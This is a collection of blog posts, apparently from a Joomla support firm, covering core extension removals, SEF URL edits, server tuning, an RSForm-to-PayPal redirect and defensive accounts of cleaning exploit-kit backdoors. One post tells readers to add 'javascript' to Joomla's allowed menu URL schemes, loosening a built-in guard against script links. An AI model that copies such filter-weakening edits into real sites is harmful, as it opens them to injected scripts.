So, if you see the error “You do not have access to the administrator section of this site” when trying to login to the frontend, then check your #__assets table (in phpMyAdmin), and see if you have an entry, other than Root, that doesn’t have a parent. If you do find one, then change its parent to 1 and your issue will be resolved. If you think that this whole thing is a bit over your head, then please contact us. Our rates are affordable, our job is professional and neat, and we are the friendliest programmers on this solar system!

Joomla 3.5 – The End of Joomla as We Know It?

Joomla 3.5 is supposed to be released on November 15th, in exactly ten days from now, but we all know that this won’t happen, because Joomla 3.4 was supposed to be released on September 15th, and, even almost 2 months later, it’s still in the Joomla oven. But that’s not the real problem, the real problem is Joomla 3.5, and here’s why…

Joomla 3.5 gets rid of 7 core extensions:

  1. Banners (com_banners)
  2. Contacts (com_contacts)
  3. Messages (com_messages)
  4. Newsfeeds (com_newsfeeds)
  5. Redirect (com_redirect)
  6. Search (com_search)
  7. Smart Search (com_finder)

Now we have stated, in an earlier post, that 4 of the above extensions are useless and must be removed from Joomla’s core. These extensions are: Banners, Messages, Newsfeeds, and Redirect (note that the aforementioned post also asks for the removal of the Weblinks extension, which will be removed in Joomla 3.4 according to the roadmap).

But what about the other 3 extensions that Joomla wants removed, but were not mentioned in our previous post? Let’s examine them one by one:

  1. Contacts: At a personal level, we don’t love this extension (probably because it’s from the Mambo era). But, the problem is that there are so many websites out there currently using it for their Contact Us page, and taking that extension away will mean that these websites will have to look for alternatives in the JED.
  2. Search: OK – let us ask you a question. When was the last time you used a CMS with no search functionality? What’s that you say? “Never”? We agree, but, for some reason, the majority of Joomla developers think that the search functionality should be removed (both the component and the module), and that all new Joomla sites should not have the search functionality by default, and, if they really need it, then they should use a 3rd party extension (which may or may not be commercial, and may or may not be vulnerable, and may or may not exist in a few months). We just don’t understand the reasoning behind the decision to remove this extension. Oh, and by the way, there is nothing wrong with the extension – it works – in fact, we think it works so well that we made a few modifications to make it even better, such as handling spelling mistakes.

  3. Smart Search: The Smart Search is a tool in Joomla that is designed to speed up the search, especially on large websites. The extension works seamlessly but suffers from 3 major drawbacks: 1) it creates an array of (potentially very large) tables in the database, 2) it can slow down the whole website, and 3) it’s not that smart! Having said that, we don’t think that the extension should be removed, in fact, we think it has more merits than disadvantages and that’s why we have it enabled on some very large websites (we did make some modifications to it though). We believe that this extension, after some not-so-major alterations, can be the best thing since sliced bread. Obviously, most Joomla developers don’t think this is the case and that’s why it’s being dumped.

Granted, Joomla officially states that all the old websites will not be affected once they upgrade to Joomla 3.5 (in other words, they will still have the above extensions if they’re using them). But what about newcomers to Joomla? What will the developers respond when these newcomers start asking questions about the missing search functionality?

Yes, WordPress doesn’t have, by default, a Contacts extension (note: an extension is called a plugin in WordPress), but it does have a search functionality that works! Either way, we don’t think that the ultimate goal is to make Joomla a WordPress clone. Joomla is something different, something better, and to strip the CMS from its basic functionality, doesn’t mean we have a better, more robust product, it means that we have an incomplete product. We wonder how many people out there are willing to use and invest in an incomplete product.

If you have an opinion on the matter, then we, at itoctopus, are eager to listen. Just drop us a comment below and let the discussion begin!

How to Remove the Sweet Orange Exploit Kit Hack from Your Joomla Website

A major company called us early last week and told us that they were alerted that they have the Sweet Orange Exploit Kit on their Joomla website. They said that a tool that they’re using to block malware sites, called ProofPoint, has blocked their own website because it contains malware!

The report generated by ProofPoint claimed that the file, http://[www.ourclientjoomlawebsite.com]/modules/mod_ariextmenu/mod_ariextmenu/js/menu.min.js, was hacked. That file, for those who don’t know, is used to support the ARI Ext Menu module. We checked the file and true enough, it was hacked. We restored a clean version of the file from the backup, but it didn’t take long for that file to get hacked again. Hmmm….

This meant one of two things: 1) Either there are some malicious PHP files on the server (that were uploaded earlier) and that are used to hack the aforementioned JavaScript file, or 2) the ARI Ext Menu module is a vulnerable extension which is exploitable by malicious users.

It didn’t take us long to discover that it was the latter scenario: A file called menu.min.php was created under the /modules/mod_ariextmenu/js folder (the same folder that contained the hacked file). This file, which seemed benign at first glance (because it had the same last modify date as the other files in the same directory and because its name seemed legitimate) was not: it contained some base64_decode code which was creating a backdoor to the hackers to literally do anything on the website. Naturally, we deleted the file, but, as expected, it re-emerged within 15 minutes, and then it infected the same JavaScript file, again!

Eventually, we created an .htaccess file that disabled the direct execution of PHP files under the whole modules folder. Here is the code that we added to that .htaccess file:

<Files *.php>
	deny from all
</Files>

That gave us some room to replace the ARI Ext Menu module with another module to generate the menu (we ended up overriding the template of the native Joomla menu module). Once we did that, we immediately uninstalled the ARI Ext Menu module and we told our satisfied client to stick with native Joomla extensions when possible.

We monitored the site for a full day after uninstalling the module (we checked the logs constantly) and we are glad to say that the hack hasn’t returned.

A couple of days after fixing the problem, we had another Joomla website hacked with the Sweet Orange Exploit Kit, but this time it was the mootools-core.js file located under the media/system/js folder. That website was running a very old version of Joomla 2.5 (it was 2.5.11) so updating it to the latest version did the trick (of course, we replaced the mootools-core.js file with a clean version prior to updating the website).

If your Joomla website was hacked with the Sweet Orange Exploit Kit (we know, there’s nothing sweet about this hack) then fear not, it is (probably) not the end of the world. There is a way to clean the website despite the fact that this type of hack is extremely persistent. All you need to do is to contact us and we will see that your website becomes clean again in as little time as possible and for a very little fee. We will also ensure that your website remains clean for the foreseeable future!

How to Remove the Article ID from Joomla’s SEF URLs

If you’re not using a 3rd party extension to generate your SEF links, then most likely you are already annoyed by the presence of the article ID in article URLs. In fact, most Joomla administrators use a 3rd party SEF extension to generate their links instead of Joomla’s built-in SEF tool because of this particular problem.

So, is there a way to remove the article ID from the URL when using Joomla’s own SEF tool? The short answer is yes, but it requires a simple modification to a core Joomla file, which means that any update to your Joomla website may or may not break your link structure. If you’re not comfortable with this, then we suggest that you stop reading this post (or you can continue reading, who knows, we might have a surprise for you). If you’re OK with changing a core file on your Joomla site, then here’s how to do it:

  • Open the file router.php which is located under the /components/com_content/ folder.
  • Search for the following line (Joomla 3.3.x):

    $advanced = $params->get('sef_advanced_link', 0);

    and change it to:

    $advanced = $params->get('sef_advanced_link', 1);

    Note that the above line exists twice, and you must change it for both instances, or else your links will no longer work. (The links will stop working because the build and the parse functions in the router.php file will no longer be consistent with each other).

  • Save the file and upload it back.

  • Your links no longer contain the article ID. Congratulations!

As you can see from the above, the modification to the router.php is quite basic. Not only that, it seems that the com_content extension already has an option, sef_advanced_link, that automatically strips the article ID from the URL. Sadly, that option doesn’t exist anywhere in Joomla’s interface (it’s only retrieved in the router.php, but there is no way to set it in the configuration of the com_content extension), but we suspect that it will be added at a later stage.

So, is there really no other way but to change a core file?

Well, if you’re adventurous, then you can manually update the settings of the com_content extension in the database and manually create an sef_advanced_link parameter and set it to 1. Here’s how:

  • Login to phpMyAdmin
  • Select the database that powers your Joomla website.

  • Click on the #__extensions table.

  • Find the row where the name is com_content and open it in edit mode.

  • Add the following to the params field (just before the closing curly bracket):

    ,"sef_advanced_link":"1"

    (Note that the comma in the code above is not a typo, you should add it or else your website may malfunction).

  • Save the row.

  • Check your website (after clearing your Joomla cache), and you will notice that the article IDs are gone!

Both methods are not ideal, because for the first method the links will not work if the router.php file is updated, and, for the second method, the links will not work if you update the settings of the com_content extension through the backend (your hardcoded database changes will be wiped out).

Now, the question is, why does Joomla add the article ID to the URL in the first place?

Well, because if two different articles have the same alias, then adding the article ID to the URL will ensure that both URLs are different. However, we don’t think that this is a good excuse to force this option on Joomla websites, simply because Joomla can and does automatically generate a different alias for the second article that has the exact same title (it usually adds -2 to its end).

In this article, we have presented two ways to remove the article ID from article URLs, one by changing a file, and the other by changing a row in the database. As we have mentioned before, no option is optimal. If you’re not sure which option to implement, or if you feel that you this whole thing is not your game, then please contact us. We can help you do this in no time and for a very, very affordable fee!

How We Got Rid of sh404SEF on a Major Website

A major website that we manage used sh404SEF heavily for SEF links. Although we don’t think highly of sh404SEF, we were hesitant to remove it (despite its many issues) because the website was highly dependent on it.

However, we were courageous enough to make the brave decision (OK, now we’re flattering ourselves) to dump sh404SEF when migrating that website from Joomla 2.5.27 to Joomla 3.36!

Here’s what we did (note that we did not update the website from within the CMS):

  • We created a fresh install of Joomla 3.3.6.
  • We installed all the extensions (with the exception of sh404SEF).

  • We imported all the data.

(Of course the above steps included so many details, but they are mostly outside the scope of this post.)

Once the new website was functioning, we started comparing the high level links, and we ensured that all the high level links (that were created in sh404SEF) were created as menu items.

We then monitored, for a full week, the Crawl Errors in the Google Webmaster Tools account for that website, and fixed any 404s (either by creating a hidden menu item or by creating a redirect rule in the .htaccess file) until the number of 404 errors returned to a normal level (there are 404s that are the result of erroneous linking from external websites, and, in many occasions, it is not worth it to address these 404s).

Once that was done, we considered our mission to be a successful one and we proved to ourselves (and to the whole world) that it’s possible to get rid of sh404SEF (even after using it for over several years) and to simply use Joomla’s core SEF (which is not perfect, but way better and much more efficient than sh404SEF).

Did we have any major issues with this move?

Yes – we did, but just one. About 4,000 aliases ended with a hyphen (or a dash, or a minus, or a , or a… OK, you get the point!), and it was because when the associated articles were created, they contained a space at the end of their titles (spaces in the title get translated to hyphens in the alias). Now, we did modify sh404SEF for that website to ignore the trailing hyphen in the URL, which meant that Google indexed (and rightly so) the URLs without their trailing hyphens, which, in its turn, meant that a link such as http://ourclientjoomlawebsite.com/category/first-article.html no longer worked, because the actual link was http://ourclientjoomlawebsite.com/category/first-article-.html. We had 2 options to solve this problem: 1) Create a plugin that will automatically redirect from the hyphened version of the URL to the non-hyphened version, or 2) fix the aliases.

We figured that the second option was much easier and much cleaner/efficient. So, we logged in to phpMyAdmin and ran the following query:

UPDATE #__content SET alias=SUBSTRING(`alias`, 1, CHAR_LENGTH(`alias`) -1) WHERE alias LIKE '%-';

And that, ladies and gentlemen, fixed the problem!

If you got tired of sh404SEF and its endless problems, then try removing it by following our advices above. If you’re a bit frightened to do that, then let us do it for you. We don’t charge much, our work is clean and professional, and we’re always a phone call or an email away!

How to Change the Popup Window Size for “Email this link to a friend” Link in Joomla

If you’re using the “Email this link to a friend” feature in Joomla, then you might have probably noticed that the popup window that opens when clicking on the link has fixed width and height, which means that if you ever decide to change its template, then it’s very possible that those fixed width and height might not be enough.

Unfortunately, it is not possible to change the width and height of the popup window from the Joomla backend because the popup dimensions are hardcoded in the code itself. So, in order to change them, here’s what you need to do:

  • Open the file icon.php which is located under the components/com_content/helpers folder.
  • Locate this line:

    $status = 'width=400,height=350,menubar=yes,resizable=yes';

    Change it to:

    $status = 'width=your-width,height=your-height,menubar=yes,resizable=yes';

  • Save the file and upload it back.

  • That’s it!

While the solution above fixes the problem, it is a core change, which means that a future update of Joomla might wipe out your changes. We think that Joomla should have the option to change these dimensions in its backend. But, for now, that’s the only solution.

If you’re not comfortable changing a core file, then please contact us. We can do this for you in no time and for a very affordable fee!

Your Joomla Website Is Blacklisted by Websense? Here’s What to Do!

A major healtchare client of ours emailed us yesterday and told us that they’re getting reports from some visitors that their Joomla website (the healthcare website) is blocked because it is compromised. One of those reports stated that it was Websense that labeled the website as compromised. So, we immediately went to csi.websense.com and we entered the URL of the site and analyzed it. It didn’t take long for Websense to respond back with a dreadful Compromised Website response.

We were sure that the website was clean, nevertheless, we checked, double checked, and tripled checked the website (using a variety of tools) and all of those checks came out as negative: the website was clean; there was nothing malicious about it and it was not compromised! We then ran a full scan on the server (the scan didn’t come back with any positives). This whole thing meant that Websense (which is a Cisco subsidiary) has mistakenly labeled the website as compromised (it was a false positive).

Once we were sure that this issue was a false positive, we did the following:

  • We created an account with Websense. Note that the account can be created for free, there is no need to subscribe to any Websense service in order to create the account.
  • Once the account was successfully created, we re-ran the scan (on csi.websense.com), and then, on the ACE Insight Report (which is the report generated once you go to csi.websense.com and enter the URL of your website), we clicked on Suggest a different categorization).

  • We then chose Health as category (the category already assigned to the website was Compromised Websites), and then added a small message that Webense’s findings were a false positive.

  • We waited…

  • 90 minutes later, we got an automated email from Websense Labs, telling us that our AceInsight submission has been received and that it was assigned a case number.

  • Another 90 minutes later, we got an automated email, also from Websense Labs, telling us that our AceInsight submission has been escalated for further research. Obviously, that email was a breath of fresh air. We knew that they were working to address the issue.

  • Yet another 90 minutes later, we got an exhilarating email from Websense Labs telling us that the site we submitted has been reviewed and determined safe for browsing. Hooray!

  • We informed the client who promised to donate $100 billion for charities in our name. OK, we’re kidding, but the client was ecstatic!

Now, even after fixing the problem, we still had a few issues. Some firewalls, such as Barracuda, query the Websense database and cache the results. Unfortunately, Barracuda queried the database at the wrong time, and haven’t refreshed their cache as of yet. Nevertheless, we expect them to refresh their cache anytime now (for now, we are asking affected companies to whitelist our client’s website on their Barracuda firewall).

So, was the effort worth it?

Definitely. Websense maintains one of the most important and up-to-date databases about the health of the websites, which means that there are many 3rd parties (such as Barracuda) that query this database to check whether a website is safe or not. If we didn’t address this problem and if we didn’t address it immediately, then within 48 hours every single firewall on this planet would have probably blocked our client’s site.

Now, if you, our esteemed reader, have run into the Websense issue, then try the above guide to unblock your website (make sure it is clean first). If you need help addressing this issue, then that’s why we’re here. Just contact us and let us take care of the rest. Please note that our super affordable fees apply!

Do We Really Need the Email Cloaking Plugin in Joomla’s Core?

One of the most annoying, and needless plugins on Joomla is the email cloaking content plugin. For those of you who don’t know what this plugin is, it translates any email (a string that matches an email pattern) to JavaScript obfuscated code in order to prevent spammers from picking up that email and ultimately spamming it.

However, in this day and age, such a plugin is technically useless, since spammers have already developed, several years ago, many algorithms to bypass JavaScript email obfuscation. For mysterious reasons, however, some Joomla developers think that this plugin is still the best think since sliced bread and are totally against removing it. That wouldn’t have been an issue if the plugin was useless but harmless, but, unfortunately, this is not the case.

For example, email obfuscation causes a major issue with PayPal because PayPal is not programmed to decode any JavaScript encryption that is associated with the merchant email. Additionally, if someone has disabled JavaScript on his browser, then he will not be able to see the email (which can lead to loss in potential leads/sales), instead they he will see the following error: This email address is being protected from spambots. You need JavaScript enabled to view it.

So, now that we have proven that the plugin is both useless and problematic/annoying, why-oh-why does it still come with Joomla? It even ships with Joomla 3 and there are no plans to remove it either in the near or in the distant future. If some developers really think that it’s a good plugin then why not have it as an optional plugin instead of just integrating into the core. Why not allow the people the option of not having it? And why is it always enabled by default?

Hopefully, this little post of ours will spark a small debate which ultimately leads to the removal of this antiquated plugin that existed from the Mambo era. Until then, you can just disable the plugin from the Plugin Manager!

Your Joomla Website Is Really Really Slow? Maybe MySQL Is Running Out of RAM

One of our clients called us today and told us that his Joomla website was slow to load. We checked the website immediately, and not only it was slow, it was extremely slow. It was taking about 20 seconds to load.

We went through the following checklist:

  • Was the website hacked?: It wasn’t. In fact, it was a very clean and basic website with only VirtueMart installed.
  • Was any 3rd party extension trying to load remote content?: That wasn’t the case. The client had just one extension that was 3rd party, and it was VirtueMart.

  • Was the website hitting the maximum number of Apache clients?: It actually was, and we increased that number (the maximum number of Apache clients), but the problem still occurred, albeit less frequently. In short, that only addressed part of the problem.

  • Was it the firewall?: The website wasn’t even behind a firewall, so the SYN_FLOOD settings that usually cause these slowdowns were irrelevant.

  • Were there any slow queries?: We checked the MySQL query log, and there wasn’t any recent slow queries (there were a few but they were from months ago).

Interesting. What could the problem be?

We then checked the load on the server and we noticed 2 things: 1) it wasn’t low (below 2), and 2) MySQL was maxed out when it comes to RAM. In fact, only 128 Megabytes of RAM were assigned to MySQL and MySQL was using them all, and after the RAM was exhausted, MySQL was using a swap file as an auxiliary RAM to satisfy its needs! Aha! Now that we know the cause of the problem, we know the solution…

Here’s what we did to fix the problem (note that our client is using WHM, so the instructions below might be different if you’re using Plesk):

  • We logged in through ssh to the server.
  • We opened the file /etc/my.cnf (using vi).

  • We changed the values of tmp_table_size, max_heap_table_size, innodb_buffer_pool_size to 196 MB (it was set to 128 MB before). We did that by replacing the lines below:

    tmp_table_size=128M
    max_heap_table_size=128M
    innodb_buffer_pool_size=128M

    with these ones:

    tmp_table_size=196M
    max_heap_table_size=196M
    innodb_buffer_pool_size=196M

We restarted MySQL from WHM (you can also restart MySQL from ssh) and the website was flying! We solved the problem!

If you have a slowness problem on your Joomla website then check if it’s MySQL. If it’s not, then check your firewall, your Apache settings, whether your website is hacked, and whether you have a rogue extension. If ever need help, keep in mind that you can always contact us (we work 24/7/365). Please note that our affordable fees apply!

How to Redirect a User to a PayPal Payment Page After Filling in an RSForm Form

We have probably mentioned this before – RSForm is one of the few Joomla extensions that we love and that we trust, and we get really excited when a client gives us a task on this powerful extension.

Yesterday (Sunday), one of our clients contacted us and told us that she wanted those who fill a certain RS Form form on her website to be automatically redirected to a PayPal payment page, if they choose their payment as “PayPal” (she had 2 payment options, one was “Check”, the other was “PayPal”).

Here’s how we did it:

  • We logged in to the Joomla backend, and then we went to Components -> RSForm! Pro.
  • We clicked on the Properties tab and then clicked on the PHP Scripts tab (under Scripts on the left panel).

  • In the third box (just below Script called after form has been processed) we added the following code:

    $myform = $_POST['form'];
    
    if ($myform['Paying By'] == 'PayPal'){
        $arrPaypal= array();
        $arrPaypal['cmd'] = '_cart';
        $arrPaypal['upload'] = '1';
        $arrPaypal['business'] = 'Our Client's PayPal Email';
        $arrPaypal['item_name_1'] = 'Name of the Product Being Sold';
        $arrPaypal['amount_1'] = $myform['Price']; //The price was in the field Price in the submitted form. You can always hardcode the price here.
        $strPaypal = http_build_query($arrPaypal);
        header('Location: https://www.paypal.com/cgi-bin/webscr?' . $strPaypal );
        exit();
    }

That was it! When a client submitted a form he was automatically redirected to the PayPal payment page with all the proper variables being transmitted (price, name of the product, and email of the merchant).

As you can see, doing this in RS Form is not that hard, but it does require a very basic knowledge of programming. So, if you have never been exposed to programming, then please contact us. We can help you implement the above in very little time and at a very affordable cost. What are you waiting for? Just give us a ring or shoot us an email and let us take care of your Joomla website!

Hacked “mootools-core.js” – How to Fix

For the past week or so, we have been working on a very puzzling issue. A client’s website was hacked. In fact, there was only one file that was hacked. The mootools-core.js file which is located under the /media/system/js folder.

The hack was not detected by any scan – commercial or not – internal or external. In fact, the hack was reported to us by the Security Manager of one company dealing with our client (the website in question was a healthcare website).

We immediately cleaned the file, and everything was OK. We then changed the permissions to 444 on all the JS files in the /media/system/js folder, mistakenly and childishly assuming that this would prevent the problem from happening again (yes – we are criticizing ourselves).

Needless to say, the problem repeated itself yesterday: the file mootools-core.js file was hacked again, and, surprisingly, the date on that file was unchanged (as if it was not modified). Again, we cleaned the file and we re-uploaded it. This time, however, we chown’d and chgrp’d the whole media/system directory to root, and we also changed all the files permissions to 444. We were hopeful that we solved the problem once and for all, but for some reason, we knew that it was going to happen again, and that’s why we kept a hawk’s eye on the website. And it did… At 4:59 AM EST this morning (the 24th of September), the same thing happened. But at the same time, something even more interesting happened…

All the files were chown’d and chgrp’d back to the Apache user/group (we’re not fond of suPHP, but for technical reasons, we have to use it on this website), and the date on the files was the date of the hack, and the only file that was hacked was, again, the mootools-core.js file.

At this time, we were almost confident that the script hacking the websites resided somewhere on the server. We just didn’t know where. “What about the logs?”, we thought. So, we grabbed the Apache access log residing under the logs folder for that particular account. Since the log file was 7 GB large and we only wanted the data for one particular day, we ran the following command on the Linux shell:

grep -E '24/Sep/2014' log-file > log-09-24-2014.txt

(Note that we extracted the log-file using gunzip before running the above command).

We then scanned the log for all the activities that happened at 4:59:00 AM EST, and it didn’t take us long to find the culprit. It was this line:

174.91.193.220 - [24/Sep/2014:04:59:00 -0400] "POST /includes/xmlrpc.php HTTP/1.1" 200 14714 "http://www.[our-clients-website].com/includes/xmlrpc.php" "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0"

xmlrpc.php? Wait! That’s a WordPress file, and our client has a Joomla website. We checked that file, and naturally, it was full of base64_encode’d code, which meant that it wasn’t a good file. There were many subsequent POSTs to that file (mainly to try to overcome the permissions that we set on the mootools-core.js file). We deleted the file immediately.

Currently, we are trying to discover how the xmlrpc.php file was created in the first place. We will update this post if we find anything new. Meanwhile, if your mootools-core.js file keeps on getting hacked, then check your logs for any files that were called the second your website was hacked (e.g. your files were modified), and make sure you don’t have any xmlrpc.php file anywhere on your Joomla website.

Update 09/25/2014: We just discovered the root cause of the issue. It was a malicious PHP file called menu.min.php uploaded under the /modules/mod_ariextmenu/mod_ariextmenu/js/css/ folder. The file created the xmlrpc.php file which was then used to hack the mootools-core.js file. We deleted the menu.min.php file and that concluded our work!

As usual, we are here to help! You can always contact us. We can clean your website efficiently and for a very affordable fee! Oh, and we really, really care about our clients.

Sorry, But Where I Can I Change that Content on My Joomla Website?

One of the most common questions we get on the phone (we always answer the phone) is the following: “Sorry, but where I can change content xyz on My Joomla website?

Our invariable answer to this question is always: “Have you checked your modules?”

And we typically get the following answer: “Ah! Let me check…”, and then we occasionally get a phone call thanking us for our tip. As for those who don’t call back after checking, we assume that their problem was solved.

So, if you’re trying to change some content on your Joomla website, and can’t find it anywhere in the Article Manager, then most likely it’s a module (and, to be more precise, it’s a Custom HTML module).

But, what if I can’t find the content to change in my modules?

Do a search using phpMyAdmin on the #__modules table. Chances are you’ll be able to find it there. The query that you should use is the following:

SELECT title, position FROM #__modules WHERE content LIKE '%your-content%';

But, what if I still can’t locate that content?

Well, in this case, the content is either hardcoded in the template, in one of the modules, or in a plugin. You must do a grep to find the file containing the content you want to change. You can do that by connecting through shell to your website, and then issuing the following command:

grep -r "your-content" /home/[your-domain-user]/public_html

Note that the above code assumes you’re using cPanel/WHM.

I still can’t locate the content I want to change. What to do now?

You will need to search the whole database to find that content. phpMyAdmin has a tool that allows you to do that. All you need to is to click on Search on the top of phpMyAdmin page (when in Database view), and then enter the content you’re searching for next to Words or values to search for, and then select all the tables before you finally click on Go on the bottom right.

I’m so desperate. I still can’t find the content that I want to change.

If, after doing all the above, you can’t find that content, then most likely your content is stored on another server (there might be a curl call grabbing the content from another location), or it might be that the content that you want to change is encrypted. In this case, you will need to contact some Joomla experts such as (ahem ahem!) ourselves to help you locate and change that content. All you need to do is to contact us and we’ll do this task for you swiftly, professionally, and for a very, very reasonable cost.

“Use of undefined constant DS – assumed ‘DS'” Notice on Joomla

If you’re trying to migrate a Joomla website to the latest version, then it’s very possible for you to see the following notice:

Use of undefined constant DS – assumed ‘DS’ in …

The above notice stems from the fact that Joomla no longer makes a differentiation between Linux and Windows when it comes to file paths (Linux uses forward slashes [/] while Windows uses backslashes [\]), this is because Windows can now also read Linux file paths (in other words, Windows now also understands that a forward slash is a directory separator). Some references mistakenly claim that PHP automatically translates file paths from a Linux to a Windows format, hence the reason why Joomla removed the DS constant. This is wrong: while PHP has the DIRECTORY_SEPARATOR predefined constant which is automatically set to a forward slash or a backslash depending on whether you’re using Linux or Windows, it doesn’t automtically translate a directory path from Linux to Windows (or vice versa).

So what’s the exact cause of this problem?

The exact cause of the problem is that in previous versions of Joomla, there was a constant called DS (which stands for Directory Separator) that was set to the DIRECTORY_SEPARATOR PHP predefined constant. Joomla 3.x no longer defines this constant anywhere, and hence any extension using the DS Joomla constant will not work properly, because DS will be treated as the string “DS”. For example, this line:

require_once('templates'.DS.'template_name'.DS.'libraries'.DS.'myfile.php');

will be equivalent to:

require_once('templatesDStemplate_nameDSlibrariesDSmyfile.php');

instead of:

require_once('templates/template_name/libraries/myfile.php');

Naturally, the required file will not exist and the extension (which is a template in our case) will fail. As you can see, a seemingly innocent notice can bring your whole website down!

So, what is a quick solution to the problem?

A very quick solution to the problem is to add the following line to the very top of the configuration.php or the index.php file:

define('DS', DIRECTORY_SEPARATOR);

The problem with this solution, however, is that any update to the site’s configuration will erase the above line if done in the configuration.php file, and any Joomla update may erase the above line if done in the index.php file.

Is there a better solution?

A better solution to the problem is to change any occurrence of DS to a / (forward slash) in the problematic extension. That should permanently solve the problem without modifying any core file.

Now, if the above solution didn’t work for you (or if you feel that it’s a bit too technical), then please contact us. Our fees are affordable, our work is professional, and we always have a solution to anything Joomla!

“Warning: explode() expects parameter 2 to be string, array given” Error on YouGrids Joomla Template – How to Fix

One of our clients emailed us yesterday afternoon and told us that after making a small change on his YouGrids Joomla template, he was seeing the following warnings (several times):

Warning: explode() expects parameter 2 to be string, array given in /templates/yougrids/yjsgcore/lib/yjsg_loadgrids.php on line 247

Warning: array_key_exists() expects parameter 2 to be array, null given in /templates/yougrids/yjsgcore/lib/yjsg_loadgrids.php on line 254

Additionally, most of the content was not displayed (especially on the homepage). We opened up the offending template file (in all fairness, it was the first time we heard about a YouGrids template) which was the file yjsg_loadgrids.php located under the templates/yougrids/yjsgcore/lib folder, and we examined the file closely. It didn’t take us long to find the origin of the problem, it was in this line:

$grid_widths = explode('|', $document->params->get( $get_w_param ));

Apparently, $document->params->get( $get_w_param ) was already an array, so the whole statement was not needed (the explode function). In any case, the explode function will not work if the second parameter is other than a string. So, in order to fix the problem, we changed the above line to:

if (is_array($document->params->get( $get_w_param )))
	$grid_widths = $document->params->get( $get_w_param );
else
	$grid_widths = explode('|', $document->params->get( $get_w_param ));

…and that fixed the problem!

But, why did the problem happen in the first place?

According to YouGrids support, the problem happened because the way Joomla saves/retrieves a specific type of data to/from the database has changed in recent Joomla 3 versions. That was the cause of the issue.

Is there any other way to fix the problem?

YouGrids claim that they have fixed the problem in the template, and all one needs to do is to uninstall/re-download/reinstall the YouGrids template. We can’t confirm if the latest version of the template fixes the problem because we haven’t tried it.

If you have the same problem on your YouGrids Joomla template and you were not able to solve it using our method above, then please contact us, we are more than happy to help. Please note that our super affordable fees apply.

A Very Simple Way to Print the Entire Page in Joomla and Not Just the Content

Note: The menu item solution in this post requires a small modification to a core Joomla file. Unfortunately, there is no way around this. If you’re not comfortable doing this, then please contact us and we’ll do it for you. We can also create an extension that allows you to do the below without modifying any core file (this would take time though).

Some websites want their users to print the whole page, and not just the content of the page, and that’s why the print functionality at the article level does not cut it for them (because it’ll print just the content). As a workaround, these websites tell their visitors to print the page from the browser, by clicking on the menu icon (the three horizontal bars on the top right in FireFox or Chrome, or the gear icon, also on the top right, in IE), and then choosing Print. Of course, this is not ideal, because many Internet users are extremely non-technical. This means that there is a need of having a Print button (on the website itself) that prints the entire page.

But, how to do that?

Well, there are a couple of ways of doing it:

  1. Using a custom HTML module

    Just create a custom HTML module that contains the following code:

    <a href="javascript:window.print();">PRINT</a>

    Assign this module to your desired position, and that’s it!

  2. Using a Menu Item

    If you want to place the Print link in a menu, then you will need to do the following:

    • Open the file item.php located under the administrator/components/com_menus/controllers.
    • Change the following line:

      $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git');

      to this one:

      $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git', 'javascript');

    • Create a new menu item of type External URL .

    • Add the following code as the Link:

      javascript:window.print();

    • Save the menu item and check the menu where you have the Print link. It should be working.

    Note that if you don’t modify the item.php you will get the following error: Save not permitted (Joomla, by default, does not allow you to add JavaScript as the menu item link).

If you’re having problems implementing the above, then all you need to do is to contact us. We’ll do it for you in not time and for a very affordable fee!

Beware: Some Hosts Are Extorting Joomla Website Owners

We had a call from one of our clients yesterday – she told us that her hosting company shut down her website because it was hacked and told her that they can’t reactivate the website unless the website is cleaned up or unless she subscribes to a security plan that costs $99/month.

Our client ran a small business on a very old Joomla website (Joomla 1.5.26 because she couldn’t afford to migrate it to the latest version), and she didn’t want to pay the $99 every month, and so she called us and asked us if we can cleanup the website. Naturally, we asked her to ask her host to re-enable the website (they disabled the website from their end so we can’t just re-enable it) so that we can fix the problem. She called them immediately and asked them to re-enable the website (so that we can do the cleanup), but they told her that they can’t do that (because it’ll compromise their network), and that she must go with the (fake) monthly security plan to re-enable her website. Unfortunately, she did, and guess what, it turned out that the website wasn’t even hacked in the first place because the moment she agreed and purchased the monthly security plan they re-enabled her website (she was still on the phone when the re-enabled it).

We know some hosts out there are completely unethical, but this is breaking new lows: claiming that a website is hacked when it’s not and forcing the Joomla administrator to sign up for a security plan that does really nothing.

We did tell our client that she has to move her website somewhere else, but she said that she can’t afford any disturbance in her business at the moment, and that she has to acknowledge the $99/month as “the cost of running a business”.

If you’re put into this situation, then our only suggestion is to move to another host immediately. If you let them extort you once, then you give them no reason not to extort you again. If you need help moving your website to another host, then check this post or just contact us. We’ll move your Joomla website anywhere you want for no time and for a very affordable fee.

5 Useless Extensions that Must Be Removed from Joomla

We are firm believers that Joomla must be a very light product. We think that all useless extensions should be removed from Joomla. Yes, you heard that right, there are few extensions in Joomla that are useless and must be removed, and they are:

  1. Banners: If there is one extension that has been consistently used for a different purpose than the one that it has been originally created for, it would be the Banners extension. The Banners extension was originally created (back in the Mambo era) to display banner ads on a Joomla website, however it has been mainly used as a way to display images in modules, which means that a custom HTML module can do its job in most cases. For those very few who actually use the banners component as it was intended to be used, we have 2 words for them: “Google DoubleClick”.
  2. Messaging: This is probably the only Joomla extension that nobody has ever used or even tried to use except for fun. It allows you to send private messages to a user (a single user) from the backend. It doesn’t allow you to create groups and send mass messages to those users; you can only message one user at a time. Zero percent useful and one hundred percent bloatware – Joomla needs to get rid of it.

  3. Newsfeeds: It’s 2014 now and Joomla still has a component that retrieves RSS headlines from other websites to display on your own Joomla website. Even Google declared RSS to be dead a couple of years ago. Need we say more? Oh, and ironically, Joomla doesn’t even a built-in extension for RSS generation of the site’s content, so you can retrieve RSS headlines from other websites, but you cannot generate RSS headlines on your very own website (unless you use a 3rd party extension to do that).

  4. Redirect: This is an extension which power is only exceeded by its mystery (in case you’re wondering, that line is from the movie Dude – Where’s My Car). Its name is misleading as it doesn’t really do any redirect unless you hit a 404 page. Joomla administrators know little about it and aren’t that anxious to know more (let’s leave it mysterious, shall we, but in case you really want to know more about it, then we have discussed it, in details, here).

